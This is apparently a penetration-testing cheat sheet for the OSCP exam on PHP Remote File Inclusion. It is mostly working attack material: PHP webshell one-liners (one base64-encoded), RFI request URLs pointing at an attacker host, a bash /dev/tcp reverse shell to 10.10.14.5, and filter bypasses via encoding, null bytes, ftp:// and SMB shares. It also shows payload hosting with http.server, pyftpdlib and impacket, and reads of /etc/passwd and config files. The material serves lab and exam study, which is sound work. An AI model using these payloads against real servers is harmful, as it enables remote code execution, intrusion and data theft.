Remote File Inclusion (RFI)
Ctrl+F:
allow_url_include·http://·ftp://·pyftpdlib·rfi.txt·data://·RFI vs LFI
RFI tricks the app into including a file from a remote URL (your Kali box) instead of the local filesystem. If PHP executes the included file → instant RCE without log poisoning.
Pair with Local File Inclusion (LFI) — same parameters, different payload (http:// vs ../).
📌 RFI vs LFI (remember)
| LFI | RFI | |
|---|---|---|
| Path | Local (/etc/passwd, ../) | Remote (http://ATTACKER/shell.txt) |
| PHP setting | Works with allow_url_fopen=On (read) | Needs allow_url_include=On (execute) |
| OSCP frequency | Very common | Less common but fast win when it works |
| Your prep | Log poison, wrappers | HTTP server on Kali with PHP payload |
?page=home → normal
?page=../../../etc/passwd → LFI
?page=http://10.10.14.5/rfi.txt → RFI📌 Detection — how to spot RFI
Parameter hunting
Same suspects as LFI — anything that loads a file/page:
?page= ?file= ?path= ?doc= ?template= ?include=
?lang= ?view= ?module= ?pg= ?style= ?content=
From Initial foothold · Burp Suite Repeater — test every parameter.
Quick tests
# 1. Full URL — classic RFI
GET /index.php?page=http://ATTACKER_IP/rfi.txt HTTP/1.1
# 2. Confirm remote fetch (out-of-band)
GET /index.php?page=http://ATTACKER_IP:8000/probe.txt
# 3. If errors leak paths / "failed to open stream"
GET /index.php?page=http://invalid.test/x
# 4. LFI still works? Try both on same param
GET /index.php?page=../../../../etc/passwd
GET /index.php?page=http://ATTACKER_IP/rfi.txtOn Kali — watch your server logs when probing:
python3 -m http.server 8000
# Request hits log → param is fetching remote URLs ✅Error messages that scream RFI
failed to open stream: HTTP request failed
allow_url_include is disabled
include(http://...): failed to open stream
Warning: include(): URL file-access is disabled
php.ini (if readable via LFI)
allow_url_fopen = On # required for http:// wrapper (read)
allow_url_include = On # required for RFI code executionallow_url_fopen=On alone → may fetch remote content but not execute as PHP unless allow_url_include=On.
📌 Full exploit workflow (OSCP)
Step 1 — Host payload on Kali
# Attacker IP (tun0)
ip a show tun0
# Payload — MUST be valid PHP; .txt often works if server doesn't check extension
cat > /tmp/rfi.txt <<'EOF'
<?php system($_GET['cmd']); ?>
EOF
python3 -m http.server 8000 --bind 0.0.0.0Minimal webshell variants:
<?php system($_GET['cmd']); ?>
<?php passthru($_GET['c']); ?>
<?=`$_GET[0]`?> # short tag — old PHP
<?php echo shell_exec($_GET['cmd']); ?>Step 2 — Trigger RFI
GET /vulnerable.php?page=http://10.10.14.5:8000/rfi.txt&cmd=id HTTP/1.1
Host: TARGETcurl "http://TARGET/vulnerable.php?page=http://10.10.14.5:8000/rfi.txt&cmd=id"Step 3 — Interactive shell
# Reverse shell via cmd param
curl "http://TARGET/page.php?page=http://10.10.14.5:8000/rfi.txt&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'"
# Listener
rlwrap nc -lvnp 4444→ Shell · Netcat · File Transfer
📌 Bypasses — when http:// is blocked
| Block | Bypass |
|---|---|
http:// filtered | Http:// · hTtP:// · http://127.0.0.1@ATTACKER_IP/ |
:// blocked | http:/%2F%2FATTACKER/rfi.txt · double URL-encode |
../ + remote mix | ....//....//http://ATTACKER/rfi.txt (rare) |
Extension whitelist .php only | Host as shell.php or use ? trick: rfi.txt%00.php (PHP < 5.3) |
http keyword blocked | SMB/WebDAV (Windows) — see below |
http:// + https:// blacklisted | ftp:// wrapper + pyftpdlib — see below |
allow_url_include=Off | Pivot to Local File Inclusion (LFI) — log poison, php://input, upload chain |
Only https allowed | https://ATTACKER/rfi.txt (serve with openssl or Caddy) |
Null byte (legacy PHP < 5.3)
?page=http://ATTACKER/shell.txt%00
?page=http://ATTACKER/shell.txt%00.php
Double encoding
?page=http%253A%252F%252F10.10.14.5%252Frfi.txt
data:// wrapper (include as inline — blurs LFI/RFI)
If allow_url_include=On:
?page=data://text/plain,<?php system($_GET['cmd']); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Base64 decode → Base64
php://input (POST body — not RFI but same param)
curl -X POST "http://TARGET/page.php?page=php://input&cmd=id" \
-d '<?php system($_GET["cmd"]); ?>'Documented in Local File Inclusion (LFI) — try when RFI fails.
FTP wrapper bypass (http:// / https:// blacklisted)
Same pattern as LFI ../ filters — devs block http:// and https:// but forget other URL schemes. PHP ftp:// still fetches remote files when allow_url_include=On.
pip install pyftpdlib
# FTP server on Kali (anonymous by default)
python -m pyftpdlib -p 21
# Host shell.php in current directory (or pyftpdlib -d /tmp)
cat > shell.php <<'EOF'
<?php system($_GET['cmd']); ?>
EOFGET /vulnerabilities/fi/?page=ftp://ATTACKER_IP/shell.php&cmd=id HTTP/1.1Filter sees no http:// → passes. PHP connects to your FTP server, pulls shell.php, executes it — no FTP creds needed (anonymous).
# curl test
curl "http://TARGET/vulnerabilities/fi/?page=ftp://TUN0_IP/shell.php&cmd=id"Watch pyftpdlib console for connection from target. Also try after ../ bypass on same app (Local File Inclusion (LFI)).
📌 Windows targets — SMB / WebDAV RFI
PHP on Windows may include UNC paths if allowed:
?page=\\ATTACKER_IP\share\shell.php
?page=//ATTACKER_IP/share/shell.phpOn Kali:
impacket-smbserver share /tmp/payloads -smb2support
# Place shell.php in /tmp/payloadsGET /page.php?file=\\10.10.14.5\share\shell.php&cmd=whoamiWebDAV option (if enabled on attacker):
# Host WebDAV share — advanced; SMB impacket is faster on OSCP📌 Chain with file upload
RFI + upload = reliable when allow_url_include is flaky:
- Upload
image.jpgcontaining<?php system($_GET['cmd']); ?>via File Upload Bypass - If upload path known but not executable directly → LFI include the upload
- Or host on Kali and use pure RFI if include accepts URLs
?page=http://ATTACKER/rfi.txt
?page=../../uploads/evil.jpg # LFI chain on same param📌 Things to remember (exam)
| Rule | Detail |
|---|---|
| RFI needs outbound HTTP | Target must reach your tun0 IP — firewall may block |
allow_url_include | Off by default on modern PHP — always try anyway on labs |
| Extension doesn’t matter | Included remote .txt can still execute as PHP |
| Same param as LFI | If ../ works, always try http://ATTACKER/shell.txt |
| Log your HTTP server | Confirms blind RFI before chasing RCE |
| HTTPS / port | Match what the app allows; try :8000 explicitly |
http:// blocked | Try ftp:// + pyftpdlib — see bypass section |
| Post-RFI | Upgrade shell → Privilege escalation |
| SSRF overlap | Server fetching your URL may be SSRF not RFI — still useful |
📌 Detection checklist
□ Found page= / file= / path= style parameter
□ ../../../../etc/passwd works (LFI) OR PHP errors on path input
□ python3 -m http.server — see probe hit in logs
□ http://ATTACKER_IP/test.txt included or errors mention "HTTP"
□ http/https blocked → try ftp://ATTACKER_IP/shell.php + pyftpdlib -p 21
□ allow_url_include (from phpinfo / LFI read of php.ini)
□ Hosted rfi.txt with <?php system($_GET['cmd']); ?>
□ curl ...&cmd=id returns command output
□ Reverse shell / [[Shell]] upgrade📌 Quick cheat sheet
# Kali — serve shell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/rfi.txt
python3 -m http.server 8000 --bind 0.0.0.0
# Trigger
curl "http://TARGET/index.php?page=http://TUN0_IP:8000/rfi.txt&cmd=id"
# SMB (Windows PHP)
impacket-smbserver share /tmp -smb2support
# page=\\TUN0_IP\share\rfi.txt&cmd=whoami
# FTP bypass (http/https blacklisted)
pip install pyftpdlib && python -m pyftpdlib -p 21
# page=ftp://TUN0_IP/shell.php&cmd=id
# If RFI dead → LFI path
# page=../../../../etc/passwd
# page=php://filter/convert.base64-encode/resource=config.php